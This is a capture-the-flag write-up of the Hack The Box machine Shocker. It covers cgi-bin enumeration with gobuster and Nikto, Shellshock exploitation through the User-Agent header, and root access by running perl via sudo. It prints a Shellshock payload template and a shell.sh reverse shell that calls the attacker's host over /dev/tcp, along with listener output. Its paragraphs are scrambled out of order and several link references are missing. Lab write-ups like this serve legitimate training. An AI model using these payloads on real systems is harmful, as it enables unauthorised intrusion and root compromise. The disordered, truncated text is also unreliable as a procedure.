The CGI (Common Gateway Interface) defines a way for a web server to interact with external content-generating programs, which are often referred to as CGI programs or CGI scripts. It is a simple way to put dynamic content on your web site, using whatever programming language you're most familiar with.
Seeing that a cgi-bin directory exists, I began fuzzing for files with common extensions such as py,sh,pl, and cgi:
gobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -x sh,pl,py,php,cgi
I also ran Nikto in the background, but it found nothing interesting aside a default Apache file:
sif0@kali:~/htb/retired/Shocker-10.10.10.56$ nikto +h 10.10.10.56
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.56
+ Target Hostname: 10.10.10.56
+ Target Port: 80
+ Start Time: 2020-06-29 21:08:01 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Server may leak inodes via ETags, header found with file /, inode: 89, size: 559ccac257884, mtime: gzip
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8673 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2020-06-29 21:42:03 (GMT8) (2042 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Content-Type: text/plain
Just an uptime test script
10:43:31 up 1:50, 0 users, load average: 0.09, 0.06, 0.01
So the script is used to test uptime. Now that I found a bash script, I can now try to exploit Shellshock.
Exploitation
User Agent: () { :; }; <bash command>
In my attempt to verify the vulnerability, I tried to ping myself once:
User Agent: () { :; }; /bin/ping -c 1 <attacker-ip>
Pinging yourself once is a one good way verifying command injection. It may be an issue though on environments that block outbound ICMP or block ICMP as a whole. Also, you need to ping a machine that is routable to the victim machine and you can also sniff traffic from for you to verify the ping.
On my local machine, I run tcpdump to listen on interface eth0 and filter only ICMP traffic:
sudo tcpdump -i tun0 icmp
I then intercept a request to 10.10.10.156/cgi-bin/user.sh using Burp, and modified the value of the User-Agent Header:
I get a connection, but it mentions that /bin/bash is not found on the remote box:
sif0@kali:~/htb/retired/Shocker-10.10.10.56$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.56] 46566
/bin/bash: bash: No such file or directory
Since I can't used that one-liner, I opt to my 2nd option, a named-pipe reverse shell:
Unfortunately, I don't get a connection. My next option is have the target machine download a file that I serve using an HTTP server and redirect the contents of that file to bash for execution. To set that up, I create a file called shell.sh:
shell.sh
bash -i >& /dev/tcp/10.10.14.7/9001 0>&1
Serving the file using python3's http.server module and setting up my listener:
sif0@kali:~/htb/retired/Shocker-10.10.10.56$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.56] 46588
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$
Privilege Escalation: shelly to root
I run the command id to check the groups shelly belongs to:
shelly@Shocker:/usr/lib$ id
id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
It stands out that shelly is part of the group adm(which means she can read logs) and lxd, a group that has a privilege escalation opportunity. I also check the passwd file to check for other users:
From the output of the script, a privilege escalation path seems to be identified thru sudo:
[+] Testing 'sudo -l' without password & /etc/sudoers
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Knowing that shelly can run Perl as root, this is basically game over. Scripting languages usually have a flag(in this case for perl, its -e) that allows you to execute a command or program. In Perl syntax, you can spawn a shell using 'exec /bin/sh'. Since Perl is running as root when we use sudo, I can then spawn a shell that will effectively run under the context of root. To sum it up:
Shellshock is a critical vulnerability and having a version that is vulnerable to Shellshock is dangerous.
Giving users sudo rights on programs that can spawn a shell or execute commands is basically giving them a root shell.
Only 2 ports are open. It is notable that SSH is configured to run on a different port(2222) rather than the usual(port 22). My next step here is to visit the webpage running on port 80. The page contains only an image called bug.jpg(identified by viewing the source). The box creator obviously hints for a bug on Apache. I can only think of as a potential vector here. But I don't want to get ahead of myself so I enumerate more.
No interesting files after using a wordlist from Seclists. What stands out is the existence of a cgi-bin directory. I then checked on Shellshock again and found that the existence of cgi-bin can be used indirectly to abuse Shellshock. What's needed is a way we can interact with Bash, and thus we need to find a .sh script. I learned about it by reading .
I also checked on any documentation about cgi from Apache to learn more about cgi and found .
After looking for articles with POC's, I came across . From the article, I can basically change the value of the User-Agent Header to something like this:
I use so I can use arrow-keys(up and down) to recall previous shell commands.
To fasten the enumeration for privilege escalation, I'll be using . I download a copy and move it to my HTTP directory location, where I ran the python http.server module: